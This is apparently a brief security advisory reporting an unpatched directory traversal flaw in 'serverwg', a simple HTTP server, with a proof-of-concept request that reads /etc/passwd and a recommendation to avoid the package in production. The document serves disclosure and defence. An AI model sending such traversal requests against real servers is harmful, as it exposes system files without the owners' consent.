Directory Traversal in serverwg

serverwg is a simple http server.

serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo

and response:

HTTP/1.1 200 OK
Date: Wed, 17 May 2017 22:52:08 GMT
Connection: keep-alive

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.